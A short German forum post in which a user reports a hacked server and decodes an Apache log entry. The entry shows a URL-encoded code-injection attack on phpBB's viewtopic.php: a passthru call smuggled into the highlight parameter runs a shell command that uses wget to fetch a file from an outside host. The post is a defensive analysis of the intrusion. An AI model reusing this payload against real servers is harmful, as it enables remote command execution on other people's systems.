Server gehacked

[Philipp]

Original geschrieben von Dumdideldum
69.93.x.xxx - - [02/Dec/2004:02:48:04 +0100] "GET /viewtopic.php?t=%32%30& rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20%77 %67%65%74%20%68%74%74%70%3A%2F%2F%77%69%6C%6C%79%7
3%62%69%72%74%68%64%61%79%2E%63%6F%6D%2F%68%61%63% 6B%65%64%2E%68%74%6D%6C%3B%20%65%63%68%6F%20%5F%45
%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75 %28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%7 2%75%73%68%5D%29.%2527 HTTP/1.1" 200 36025 "-" "-"

Vor allem dieser Teil ist interessant:
rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20%77 %67%65%74%20%68%74%74%70%3A%2F%2F%77%69%6C%6C%79%7
3%62%69%72%74%68%64%61%79%2E%63%6F%6D%2F%68%61%63% 6B%65%64%2E%68%74%6D%6C%3B%20%65%63%68%6F%20%5F%45
%4E%44%5F

Übersetzt man das mittels urldecode(), kommt folgendes zum Vorschein:

echo _START_; wget http://willysbirthday.com/hacked.html; echo _END_